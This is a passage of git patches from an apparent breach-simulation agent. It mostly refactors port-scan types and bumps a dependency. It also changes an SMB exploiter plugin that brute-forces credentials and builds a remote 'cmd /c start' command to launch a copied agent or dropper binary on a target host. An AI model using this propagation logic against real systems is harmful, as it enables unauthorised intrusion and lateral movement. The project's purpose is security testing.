PingScanData - port_scan_data: Dict[NetworkPort, PortScanData] + port_scan_data: PortScanDataDict fingerprint_data: Dict[FingerprinterName, FingerprintData] diff --git a/monkey/infection_monkey/master/ip_scanner.py b/monkey/infection_monkey/master/ip_scanner.py index f45ff068098..8e88e0434ae 100644 --- a/monkey/infection_monkey/master/ip_scanner.py +++ b/monkey/infection_monkey/master/ip_scanner.py @@ -8,8 +8,8 @@ NetworkScanConfiguration, PluginConfiguration, ) -from common.types import Event, NetworkPort, PortStatus -from infection_monkey.i_puppet import FingerprintData, IPuppet, PingScanData, PortScanData +from common.types import Event, PortStatus +from infection_monkey.i_puppet import FingerprintData, IPuppet, PingScanData, PortScanDataDict from infection_monkey.network import NetworkAddress from infection_monkey.utils.threading import interruptible_iter, run_worker_threads @@ -86,7 +86,7 @@ def _scan_addresses( ) @staticmethod - def port_scan_found_open_port(port_scan_data: Dict[NetworkPort, PortScanData]): + def port_scan_found_open_port(port_scan_data: PortScanDataDict): return any(psd.status == PortStatus.OPEN for psd in port_scan_data.values()) def _run_fingerprinters( @@ -94,7 +94,7 @@ def _run_fingerprinters( ip: str, fingerprinters: Sequence[PluginConfiguration], ping_scan_data: PingScanData, - port_scan_data: Dict[NetworkPort, PortScanData], + port_scan_data: PortScanDataDict, stop: Event, ) -> Dict[str, FingerprintData]: fingerprint_data = {} diff --git a/monkey/infection_monkey/network_scanning/tcp_scanner.py b/monkey/infection_monkey/network_scanning/tcp_scanner.py index 6a6bbd8605f..217041de798 100644 --- a/monkey/infection_monkey/network_scanning/tcp_scanner.py +++ b/monkey/infection_monkey/network_scanning/tcp_scanner.py @@ -11,14 +11,14 @@ from common.agent_events import TCPScanEvent from common.event_queue import IAgentEventQueue from common.types import NetworkPort, PortStatus -from infection_monkey.i_puppet import PortScanData +from infection_monkey.i_puppet import PortScanData, PortScanDataDict from infection_monkey.network.tools import BANNER_READ, DEFAULT_TIMEOUT from infection_monkey.utils.ids import get_agent_id logger = logging.getLogger(__name__) POLL_INTERVAL = 0.5 -EMPTY_PORT_SCAN: Dict[NetworkPort, PortScanData] = {} +EMPTY_PORT_SCAN = PortScanDataDict() def scan_tcp_ports( @@ -26,7 +26,7 @@ def scan_tcp_ports( ports_to_scan: Collection[NetworkPort], timeout: float, agent_event_queue: IAgentEventQueue, -) -> Dict[NetworkPort, PortScanData]: +) -> PortScanDataDict: try: return _scan_tcp_ports(host, ports_to_scan, timeout, agent_event_queue) except Exception: @@ -39,7 +39,7 @@ def _scan_tcp_ports( ports_to_scan: Collection[NetworkPort], timeout: float, agent_event_queue: IAgentEventQueue, -) -> Dict[NetworkPort, PortScanData]: +) -> PortScanDataDict: event_timestamp, open_ports = _check_tcp_ports(host, ports_to_scan, timeout) port_scan_data = _build_port_scan_data(ports_to_scan, open_ports) @@ -51,9 +51,9 @@ def _scan_tcp_ports( def _generate_tcp_scan_event( - host: str, port_scan_data: Dict[NetworkPort, PortScanData], event_timestamp: float + host: str, port_scan_data_dict: PortScanDataDict, event_timestamp: float ): - port_statuses = {port: psd.status for port, psd in port_scan_data.items()} + port_statuses = {port: psd.status for port, psd in port_scan_data_dict.items()} return TCPScanEvent( source=get_agent_id(), @@ -65,8 +65,8 @@ def _generate_tcp_scan_event( def _build_port_scan_data( ports_to_scan: Iterable[NetworkPort], open_ports: Mapping[NetworkPort, str] -) -> Dict[NetworkPort, PortScanData]: - port_scan_data = {} +) -> PortScanDataDict: + port_scan_data = PortScanDataDict() for port in ports_to_scan: if port in open_ports: banner = open_ports[port] diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index 0f55934efbf..11313f859e5 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -13,7 +13,7 @@ IncompatibleOperatingSystemError, IPuppet, PingScanData, - PortScanData, + PortScanDataDict, TargetHost, ) from infection_monkey.puppet import PluginCompatabilityVerifier @@ -50,7 +50,7 @@ def ping(self, host: str, timeout: float = CONNECTION_TIMEOUT) -> PingScanData: def scan_tcp_ports( self, host: str, ports: Sequence[NetworkPort], timeout: float = CONNECTION_TIMEOUT - ) -> Dict[NetworkPort, PortScanData]: + ) -> PortScanDataDict: return network_scanning.scan_tcp_ports(host, ports, timeout, self._agent_event_queue) def fingerprint( @@ -58,7 +58,7 @@ def fingerprint( name: str, host: str, ping_scan_data: PingScanData, - port_scan_data: Dict[NetworkPort, PortScanData], + port_scan_data: PortScanDataDict, options: Dict, ) -> FingerprintData: try: diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_hadoop_exploiter.py b/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_hadoop_exploiter.py index eddf400e1dd..10bf6b1498e 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_hadoop_exploiter.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_hadoop_exploiter.py @@ -11,7 +11,13 @@ from common import OperatingSystem from common.types import NetworkPort, NetworkProtocol, NetworkService, PortStatus from infection_monkey.exploit.tools import HTTPBytesServer -from infection_monkey.i_puppet import ExploiterResultData, PortScanData, TargetHost, TargetHostPorts +from infection_monkey.i_puppet import ( + ExploiterResultData, + PortScanData, + PortScanDataDict, + TargetHost, + TargetHostPorts, +) TARGET_IP = IPv4Address("1.1.1.1") SERVERS = ["10.10.10.10"] @@ -187,11 +193,13 @@ def test_exploit_attempt_on_all_discovered_open_http_ports( ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.WINDOWS, ports_status=TargetHostPorts( - tcp_ports={ - HTTP_PORT: HTTP_PORT_DATA, - CLOSED_PORT: CLOSED_PORT_DATA, - HTTPS_PORT: HTTPS_PORT_DATA, - } + tcp_ports=PortScanDataDict( + { + HTTP_PORT: HTTP_PORT_DATA, + CLOSED_PORT: CLOSED_PORT_DATA, + HTTPS_PORT: HTTPS_PORT_DATA, + } + ) ), ) hadoop_exploiter.exploit_host( @@ -219,7 +227,9 @@ def test_exploit_attempt_skips_configured_ports_if_closed( target_host = TargetHost( ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.WINDOWS, - ports_status=TargetHostPorts(tcp_ports={CLOSED_PORT_80: CLOSED_PORT_80_DATA}), + ports_status=TargetHostPorts( + tcp_ports=PortScanDataDict({CLOSED_PORT_80: CLOSED_PORT_80_DATA}) + ), ) hadoop_exploiter.exploit_host( target_host=target_host, diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_plugin.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_plugin.py index b5c73a174f2..704e150b312 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_plugin.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_plugin.py @@ -1,6 +1,5 @@ from ipaddress import IPv4Address from threading import Event -from typing import Dict from unittest.mock import MagicMock from uuid import UUID @@ -8,16 +7,22 @@ from agent_plugins.exploiters.smb.src.plugin import SMB_PORTS, Plugin from common import OperatingSystem -from common.types import NetworkPort, PortStatus +from common.types import PortStatus from infection_monkey.exploit.tools import BruteForceExploiter -from infection_monkey.i_puppet import ExploiterResultData, PortScanData, TargetHost, TargetHostPorts +from infection_monkey.i_puppet import ( + ExploiterResultData, + PortScanData, + PortScanDataDict, + TargetHost, + TargetHostPorts, +) from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository AGENT_ID = UUID("5c145d4e-ec61-44f7-998e-17477112f50f") BAD_SMB_OPTIONS_DICT = {"blah": "blah"} TARGET_IP = IPv4Address("1.1.1.1") OPEN_SMB_PORTS = TargetHostPorts( - tcp_ports={p: PortScanData(port=p, status=PortStatus.OPEN) for p in SMB_PORTS} + tcp_ports=PortScanDataDict({p: PortScanData(port=p, status=PortStatus.OPEN) for p in SMB_PORTS}) ) EMPTY_TARGET_HOST_PORTS = TargetHostPorts() SERVERS = ["10.10.10.10"] @@ -89,16 +94,16 @@ def test_run__fails_on_bad_options(plugin: Plugin, target_host: TargetHost): @pytest.mark.parametrize( "tcp_port_status", ( - {SMB_PORTS[0]: PortScanData(port=SMB_PORTS[0], status=PortStatus.CLOSED)}, - {SMB_PORTS[1]: PortScanData(port=SMB_PORTS[1], status=PortStatus.CLOSED)}, - {}, + PortScanDataDict({SMB_PORTS[0]: PortScanData(port=SMB_PORTS[0], status=PortStatus.CLOSED)}), + PortScanDataDict({SMB_PORTS[1]: PortScanData(port=SMB_PORTS[1], status=PortStatus.CLOSED)}), + PortScanDataDict({}), ), ) def test_run__attempts_exploit_if_port_status_unknown( plugin: Plugin, mock_smb_exploiter: BruteForceExploiter, target_host: TargetHost, - tcp_port_status: Dict[NetworkPort, PortScanData], + tcp_port_status: PortScanDataDict, ): host = target_host host.ports_status.tcp_ports = tcp_port_status @@ -117,27 +122,33 @@ def test_run__attempts_exploit_if_port_status_unknown( @pytest.mark.parametrize( "tcp_port_status", ( - {SMB_PORTS[0]: PortScanData(port=SMB_PORTS[0], status=PortStatus.OPEN)}, - {SMB_PORTS[1]: PortScanData(port=SMB_PORTS[1], status=PortStatus.OPEN)}, - { - SMB_PORTS[0]: PortScanData(port=SMB_PORTS[0], status=PortStatus.CLOSED), - SMB_PORTS[1]: PortScanData(port=SMB_PORTS[1], status=PortStatus.OPEN), - }, - { - SMB_PORTS[0]: PortScanData(port=SMB_PORTS[0], status=PortStatus.OPEN), - SMB_PORTS[1]: PortScanData(port=SMB_PORTS[1], status=PortStatus.CLOSED), - }, - { - SMB_PORTS[0]: PortScanData(port=SMB_PORTS[0], status=PortStatus.OPEN), - SMB_PORTS[1]: PortScanData(port=SMB_PORTS[1], status=PortStatus.OPEN), - }, + PortScanDataDict({SMB_PORTS[0]: PortScanData(port=SMB_PORTS[0], status=PortStatus.OPEN)}), + PortScanDataDict({SMB_PORTS[1]: PortScanData(port=SMB_PORTS[1], status=PortStatus.OPEN)}), + PortScanDataDict( + { + SMB_PORTS[0]: PortScanData(port=SMB_PORTS[0], status=PortStatus.CLOSED), + SMB_PORTS[1]: PortScanData(port=SMB_PORTS[1], status=PortStatus.OPEN), + } + ), + PortScanDataDict( + { + SMB_PORTS[0]: PortScanData(port=SMB_PORTS[0], status=PortStatus.OPEN), + SMB_PORTS[1]: PortScanData(port=SMB_PORTS[1], status=PortStatus.CLOSED), + } + ), + PortScanDataDict( + { + SMB_PORTS[0]: PortScanData(port=SMB_PORTS[0], status=PortStatus.OPEN), + SMB_PORTS[1]: PortScanData(port=SMB_PORTS[1], status=PortStatus.OPEN), + } + ), ), ) def test_run__attempts_exploit_if_port_status_open( plugin: Plugin, mock_smb_exploiter: BruteForceExploiter, target_host: TargetHost, - tcp_port_status: Dict[NetworkPort, PortScanData], + tcp_port_status: PortScanDataDict, ): host = target_host host.ports_status.tcp_ports = tcp_port_status @@ -159,10 +170,12 @@ def test_run__skips_exploit_if_port_status_closed( target_host: TargetHost, ): host = target_host - host.ports_status.tcp_ports = { - SMB_PORTS[0]: PortScanData(port=SMB_PORTS[0], status=PortStatus.CLOSED), - SMB_PORTS[1]: PortScanData(port=SMB_PORTS[1], status=PortStatus.CLOSED), - } + host.ports_status.tcp_ports = PortScanDataDict( + { + SMB_PORTS[0]: PortScanData(port=SMB_PORTS[0], status=PortStatus.CLOSED), + SMB_PORTS[1]: PortScanData(port=SMB_PORTS[1], status=PortStatus.CLOSED), + } + ) result = plugin.run( host=host, diff --git a/monkey/tests/unit_tests/infection_monkey/i_puppet/test_target_host.py b/monkey/tests/unit_tests/infection_monkey/i_puppet/test_target_host.py index b9cb031a09f..6460abcd3da 100644 --- a/monkey/tests/unit_tests/infection_monkey/i_puppet/test_target_host.py +++ b/monkey/tests/unit_tests/infection_monkey/i_puppet/test_target_host.py @@ -60,12 +60,14 @@ def test_port_scan_data_dict_set__invalid_port(invalid_port): def test_closed_tcp_ports(): expected_closed_ports = {2, 4} - tcp_ports = { - 1: PortScanData(port=1, status=PortStatus.OPEN), - 2: PortScanData(port=2, status=PortStatus.CLOSED), - 3: PortScanData(port=3, status=PortStatus.OPEN), - 4: PortScanData(port=4, status=PortStatus.CLOSED), - } + tcp_ports = PortScanDataDict( + { + 1: PortScanData(port=1, status=PortStatus.OPEN), + 2: PortScanData(port=2, status=PortStatus.CLOSED), + 3: PortScanData(port=3, status=PortStatus.OPEN), + 4: PortScanData(port=4, status=PortStatus.CLOSED), + } + ) thp = TargetHostPorts(tcp_ports=tcp_ports) assert thp.closed_tcp_ports == expected_closed_ports diff --git a/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py b/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py index fe462f82f89..3184474c756 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py +++ b/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py @@ -4,7 +4,7 @@ from common import OperatingSystem from common.agent_plugins import AgentPluginType from common.credentials import Credentials, LMHash, Password, SSHKeypair, Username -from common.types import Event, NetworkPort, NetworkProtocol, NetworkService, PortStatus +from common.types import Event, NetworkProtocol, NetworkService, PortStatus from infection_monkey.i_puppet import ( DiscoveredService, ExploiterResultData, @@ -13,6 +13,7 @@ IPuppet, PingScanData, PortScanData, + PortScanDataDict, TargetHost, ) @@ -74,7 +75,7 @@ def ping(self, host: str, timeout: float = 1) -> PingScanData: def scan_tcp_ports( self, host: str, ports: Sequence[int], timeout: float = 3 - ) -> Dict[NetworkPort, PortScanData]: + ) -> PortScanDataDict: logger.debug(f"run_scan_tcp_port({host}, {ports}, {timeout})") dot_1_results = { 22: PortScanData(port=22, status=PortStatus.CLOSED), From 8fcfa13cd739ec2a115cf7e69374e74e02ff20d9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 24 Mar 2023 09:22:21 -0400 Subject: [PATCH 0892/1338] Agent: Add PortScanDataDict.closed property --- monkey/infection_monkey/i_puppet/target_host.py | 8 ++++++++ .../infection_monkey/i_puppet/test_target_host.py | 13 ++++++------- 2 files changed, 14 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/i_puppet/target_host.py b/monkey/infection_monkey/i_puppet/target_host.py index 69c7731255e..25186be2722 100644 --- a/monkey/infection_monkey/i_puppet/target_host.py +++ b/monkey/infection_monkey/i_puppet/target_host.py @@ -17,6 +17,14 @@ class PortScanDataDict(UserDict[NetworkPort, PortScanData]): def __setitem__(self, key: NetworkPort, value: PortScanData): super().__setitem__(key, value) + @property + def closed(self) -> Set[NetworkPort]: + return { + port + for port, port_scan_data in self.data.items() + if port_scan_data.status == PortStatus.CLOSED + } + class TargetHostPorts(MutableInfectionMonkeyBaseModel): class Config(MutableInfectionMonkeyModelConfig): diff --git a/monkey/tests/unit_tests/infection_monkey/i_puppet/test_target_host.py b/monkey/tests/unit_tests/infection_monkey/i_puppet/test_target_host.py index 6460abcd3da..28691a670f4 100644 --- a/monkey/tests/unit_tests/infection_monkey/i_puppet/test_target_host.py +++ b/monkey/tests/unit_tests/infection_monkey/i_puppet/test_target_host.py @@ -1,7 +1,7 @@ import pytest from common.types import NetworkPort, PortStatus -from infection_monkey.i_puppet import PortScanData, PortScanDataDict, TargetHostPorts +from infection_monkey.i_puppet import PortScanData, PortScanDataDict def test_port_scan_data_dict__constructor(): @@ -62,12 +62,11 @@ def test_closed_tcp_ports(): expected_closed_ports = {2, 4} tcp_ports = PortScanDataDict( { - 1: PortScanData(port=1, status=PortStatus.OPEN), - 2: PortScanData(port=2, status=PortStatus.CLOSED), - 3: PortScanData(port=3, status=PortStatus.OPEN), - 4: PortScanData(port=4, status=PortStatus.CLOSED), + NetworkPort(1): PortScanData(port=1, status=PortStatus.OPEN), + NetworkPort(2): PortScanData(port=2, status=PortStatus.CLOSED), + NetworkPort(3): PortScanData(port=3, status=PortStatus.OPEN), + NetworkPort(4): PortScanData(port=4, status=PortStatus.CLOSED), } ) - thp = TargetHostPorts(tcp_ports=tcp_ports) - assert thp.closed_tcp_ports == expected_closed_ports + assert tcp_ports.closed == expected_closed_ports From 0be13fba0dc3725a0f4311f9809b792208b209cd Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 24 Mar 2023 09:22:42 -0400 Subject: [PATCH 0893/1338] SMB: Use PortScanDict.closed property to check port status --- monkey/agent_plugins/exploiters/smb/src/plugin.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/plugin.py b/monkey/agent_plugins/exploiters/smb/src/plugin.py index 00cf9eab1e6..95ef1a8a16a 100644 --- a/monkey/agent_plugins/exploiters/smb/src/plugin.py +++ b/monkey/agent_plugins/exploiters/smb/src/plugin.py @@ -27,7 +27,7 @@ def should_attempt_exploit(host: TargetHost) -> bool: - closed_tcp_ports = host.ports_status.closed_tcp_ports + closed_tcp_ports = host.ports_status.tcp_ports.closed return not all([p in closed_tcp_ports for p in SMB_PORTS]) From 5ec66098e061c2af5956224b2c3056e2cbabbaec Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 24 Mar 2023 09:23:13 -0400 Subject: [PATCH 0894/1338] Agent: Remove disused TargetHostPorts.closed_tcp_ports() --- monkey/infection_monkey/i_puppet/target_host.py | 8 -------- 1 file changed, 8 deletions(-) diff --git a/monkey/infection_monkey/i_puppet/target_host.py b/monkey/infection_monkey/i_puppet/target_host.py index 25186be2722..b9d3556e3ba 100644 --- a/monkey/infection_monkey/i_puppet/target_host.py +++ b/monkey/infection_monkey/i_puppet/target_host.py @@ -33,14 +33,6 @@ class Config(MutableInfectionMonkeyModelConfig): tcp_ports: PortScanDataDict = Field(default_factory=PortScanDataDict) udp_ports: PortScanDataDict = Field(default_factory=PortScanDataDict) - @property - def closed_tcp_ports(self) -> Set[NetworkPort]: - return { - port - for port, port_scan_data in self.tcp_ports.items() - if port_scan_data.status == PortStatus.CLOSED - } - class TargetHost(MutableInfectionMonkeyBaseModel): class Config(MutableInfectionMonkeyModelConfig): From 0652006aa2619bbabca504ce4d8979785b13338d Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Thu, 23 Mar 2023 18:56:09 +0000 Subject: [PATCH 0895/1338] SMB: Add OTP to agent command Issue #2952 PR #3144 --- .../exploiters/smb/src/plugin.py | 5 ++- .../exploiters/smb/src/smb_command_builder.py | 14 ++++++-- monkey/infection_monkey/model/__init__.py | 2 ++ .../smb/test_smb_command_builder.py | 35 ++++++++++++++++--- .../exploiters/smb/test_smb_plugin.py | 2 ++ 5 files changed, 50 insertions(+), 8 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/plugin.py b/monkey/agent_plugins/exploiters/smb/src/plugin.py index 95ef1a8a16a..6291097a3fa 100644 --- a/monkey/agent_plugins/exploiters/smb/src/plugin.py +++ b/monkey/agent_plugins/exploiters/smb/src/plugin.py @@ -10,7 +10,7 @@ from common.utils.code_utils import del_key # dependencies to get rid of or internalize -from infection_monkey.exploit import IAgentBinaryRepository +from infection_monkey.exploit import IAgentBinaryRepository, IAgentOTPProvider from infection_monkey.exploit.tools import ( BruteForceCredentialsProvider, BruteForceExploiter, @@ -43,6 +43,7 @@ def __init__( agent_event_publisher: IAgentEventPublisher, agent_binary_repository: IAgentBinaryRepository, propagation_credentials_repository: IPropagationCredentialsRepository, + otp_provider: IAgentOTPProvider, **kwargs, ): self._plugin_name = plugin_name @@ -52,6 +53,7 @@ def __init__( self._credentials_provider = BruteForceCredentialsProvider( propagation_credentials_repository, generate_brute_force_credentials ) + self._otp_provider = otp_provider def run( self, @@ -86,6 +88,7 @@ def run( servers, current_depth, remote_agent_binary_destination_path=get_agent_dst_path(host), + otp_provider=self._otp_provider, ) smb_exploit_client_factory = SMBRemoteAccessClientFactory( host, smb_options, command_builder diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_command_builder.py b/monkey/agent_plugins/exploiters/smb/src/smb_command_builder.py index 17b2c5d1cc2..2e2ad8228c4 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_command_builder.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_command_builder.py @@ -2,7 +2,9 @@ from typing import Sequence from common import OperatingSystem -from infection_monkey.model import CMD_PREFIX, DROPPER_ARG, MONKEY_ARG +from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE +from infection_monkey.exploit import IAgentOTPProvider +from infection_monkey.model import CMD_PREFIX, DROPPER_ARG, MONKEY_ARG, SET_OTP_WINDOWS from infection_monkey.utils.commands import build_monkey_commandline @@ -12,16 +14,22 @@ def build_smb_command( operating_system: OperatingSystem, remote_agent_binary_full_path: PurePath, remote_agent_binary_destination_path: PurePath, + otp_provider: IAgentOTPProvider, ) -> str: if operating_system != OperatingSystem.WINDOWS: raise Exception(f"Unsupported operating system: {operating_system}") + otp = SET_OTP_WINDOWS % { + "agent_otp_environment_variable": AGENT_OTP_ENVIRONMENT_VARIABLE, + "agent_otp": otp_provider.get_otp(), + } + if ( str(remote_agent_binary_full_path).lower() != str(remote_agent_binary_destination_path).lower() ): cmdline = ( - f"{CMD_PREFIX} start cmd /c {str(remote_agent_binary_full_path)} {DROPPER_ARG}" + f"{CMD_PREFIX} {otp} start cmd /c {str(remote_agent_binary_full_path)} {DROPPER_ARG}" + build_monkey_commandline( servers, current_depth + 1, @@ -30,7 +38,7 @@ def build_smb_command( ) else: cmdline = ( - f"{CMD_PREFIX} start cmd /c {str(remote_agent_binary_full_path)} {MONKEY_ARG}" + f"{CMD_PREFIX} {otp} start cmd /c {str(remote_agent_binary_full_path)} {MONKEY_ARG}" + build_monkey_commandline(servers, current_depth + 1) ) diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 0ed14fc014f..739b4010527 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -8,6 +8,8 @@ # Username prefix for users created by Infection Monkey USERNAME_PREFIX = "somenewuser" +SET_OTP_WINDOWS = "set %(agent_otp_environment_variable)s=%(agent_otp)s &&" + # CMD prefix for windows commands CMD_EXE = "cmd.exe" CMD_CARRY_OUT = "/c" diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_command_builder.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_command_builder.py index 10aa9c2bc3b..4918646ad69 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_command_builder.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_command_builder.py @@ -1,16 +1,26 @@ from pathlib import PureWindowsPath +from unittest.mock import MagicMock import pytest from agent_plugins.exploiters.smb.src.smb_command_builder import build_smb_command from common import OperatingSystem +from infection_monkey.exploit import IAgentOTPProvider from infection_monkey.model import DROPPER_ARG, MONKEY_ARG DROPPER_EXE_PATH = PureWindowsPath("C:\\dropper.exe") AGENT_EXE_PATH = PureWindowsPath("C:\\agent.exe") +OTP = "123456" -def test_exception_raised_for_linux(): +@pytest.fixture +def otp_provider() -> IAgentOTPProvider: + provider = MagicMock(spec=IAgentOTPProvider) + provider.get_otp.return_value = OTP + return provider + + +def test_exception_raised_for_linux(otp_provider: IAgentOTPProvider): with pytest.raises(Exception): build_smb_command( ["127.0.0.1"], @@ -18,6 +28,7 @@ def test_exception_raised_for_linux(): OperatingSystem.LINUX, DROPPER_EXE_PATH, AGENT_EXE_PATH, + otp_provider, ) @@ -31,35 +42,51 @@ def test_exception_raised_for_linux(): def test_servers( remote_agent_binary_full_path: PureWindowsPath, remote_agent_binary_destination_path: PureWindowsPath, + otp_provider: IAgentOTPProvider, ): servers = ["127.0.0.1", "192.168.1.100", "172.1.2.3"] command = build_smb_command( - servers, 2, OperatingSystem.WINDOWS, DROPPER_EXE_PATH, AGENT_EXE_PATH + servers, 2, OperatingSystem.WINDOWS, DROPPER_EXE_PATH, AGENT_EXE_PATH, otp_provider ) for s in servers: assert s in command -def test_dropper_used(): +def test_dropper_used(otp_provider: IAgentOTPProvider): command = build_smb_command( ["127.0.0.1"], 2, OperatingSystem.WINDOWS, DROPPER_EXE_PATH, AGENT_EXE_PATH, + otp_provider, ) assert DROPPER_ARG in command -def test_monkey_used(): +def test_monkey_used(otp_provider: IAgentOTPProvider): command = build_smb_command( ["127.0.0.1"], 2, OperatingSystem.WINDOWS, AGENT_EXE_PATH, AGENT_EXE_PATH, + otp_provider, ) assert MONKEY_ARG in command + + +def test_otp_used(otp_provider: IAgentOTPProvider): + command = build_smb_command( + ["127.0.0.1"], + 2, + OperatingSystem.WINDOWS, + AGENT_EXE_PATH, + AGENT_EXE_PATH, + otp_provider, + ) + + assert OTP in command diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_plugin.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_plugin.py index 704e150b312..d50340d65e4 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_plugin.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_plugin.py @@ -75,6 +75,7 @@ def plugin( agent_event_publisher=MagicMock(), agent_binary_repository=MagicMock(), propagation_credentials_repository=propagation_credentials_repository, + otp_provider=MagicMock(), ) @@ -219,6 +220,7 @@ def test_run__exploit_host_raises_exception( agent_event_publisher=MagicMock(), agent_binary_repository=MagicMock(), propagation_credentials_repository=propagation_credentials_repository, + otp_provider=MagicMock(), ) result = plugin.run( host=target_host, From e4a43fab484d36623cf54ce97ad8c7891302e6d1 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 28 Mar 2023 07:21:09 +0000 Subject: [PATCH 0896/1338] Bump webpack from 5.75.0 to 5.76.0 in /monkey/monkey_island/cc/ui Bumps [webpack](https://github.com/webpack/webpack) from 5.75.0 to 5.76.0. - [Release notes](https://github.com/webpack/webpack/releases) - [Commits](https://github.com/webpack/webpack/compare/v5.75.0...v5.76.0) --- updated-dependencies: - dependency-name: webpack dependency-type: direct:development ... Signed-off-by: dependabot[bot] --- monkey/monkey_island/cc/ui/package-lock.json | 8 ++++---- monkey/monkey_island/cc/ui/package.json | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index caa43cf7b43..b10402d7bda 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -85,7 +85,7 @@ "thread-loader": "3.0.4", "ts-loader": "9.4.2", "typescript": "4.9.5", - "webpack": "5.75.0", + "webpack": "5.76.0", "webpack-cli": "5.0.1", "webpack-dev-server": "4.11.1" } @@ -16056,9 +16056,9 @@ } }, "node_modules/webpack": { - "version": "5.75.0", - "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.75.0.tgz", - "integrity": "sha512-piaIaoVJlqMsPtX/+3KTTO6jfvrSYgauFVdt8cr9LTHKmcq/AMd4mhzsiP7ZF/PGRNPGA8336jldh9l2Kt2ogQ==", + "version": "5.76.0", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.76.0.tgz", + "integrity": "sha512-l5sOdYBDunyf72HW8dF23rFtWq/7Zgvt/9ftMof71E/yUb1YLOBmTgA2K4vQthB3kotMrSj609txVE0dnr2fjA==", "dependencies": { "@types/eslint-scope": "^3.7.3", "@types/estree": "^0.0.51", diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index bade13b72e2..c836564c60c 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -57,7 +57,7 @@ "thread-loader": "3.0.4", "ts-loader": "9.4.2", "typescript": "4.9.5", - "webpack": "5.75.0", + "webpack": "5.76.0", "webpack-cli": "5.0.1", "webpack-dev-server": "4.11.1" }, From a4c5e73a7365c980e2fa92ba2d137a1fa22b4102 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 27 Mar 2023 16:59:11 +0530 Subject: [PATCH 0897/1338] Agent: Pass Agent ID to exploiter wrapper and then HostExploiter from monkey.py --- monkey/infection_monkey/exploit/HostExploiter.py | 5 ++++- monkey/infection_monkey/exploit/exploiter_wrapper.py | 8 +++++++- monkey/infection_monkey/monkey.py | 6 +++++- 3 files changed, 16 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 6f7bdbff6fb..683c3e24738 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -6,7 +6,7 @@ from common.agent_events import ExploitationEvent, PropagationEvent from common.event_queue import IAgentEventQueue -from common.types import Event +from common.types import AgentID, Event from common.utils.exceptions import FailedExploitationError from infection_monkey.exploit import IAgentOTPProvider from infection_monkey.i_puppet import ExploiterResultData, TargetHost @@ -35,6 +35,7 @@ def _PROPAGATION_TAGS(self) -> Tuple[str, ...]: pass def __init__(self): + self.agent_id = None self.exploit_info = { "display_name": self._EXPLOITED_SERVICE, "started": "", @@ -70,6 +71,7 @@ def report_login_attempt(self, result, user, password="", lm_hash="", ntlm_hash= def exploit_host( self, + agent_id: AgentID, host: TargetHost, servers: Sequence[str], current_depth: int, @@ -80,6 +82,7 @@ def exploit_host( interrupt: Event, otp_provider: IAgentOTPProvider, ): + self.agent_id = agent_id self.host = host self.servers = servers self.current_depth = current_depth diff --git a/monkey/infection_monkey/exploit/exploiter_wrapper.py b/monkey/infection_monkey/exploit/exploiter_wrapper.py index a9037d82aeb..d170f0d709e 100644 --- a/monkey/infection_monkey/exploit/exploiter_wrapper.py +++ b/monkey/infection_monkey/exploit/exploiter_wrapper.py @@ 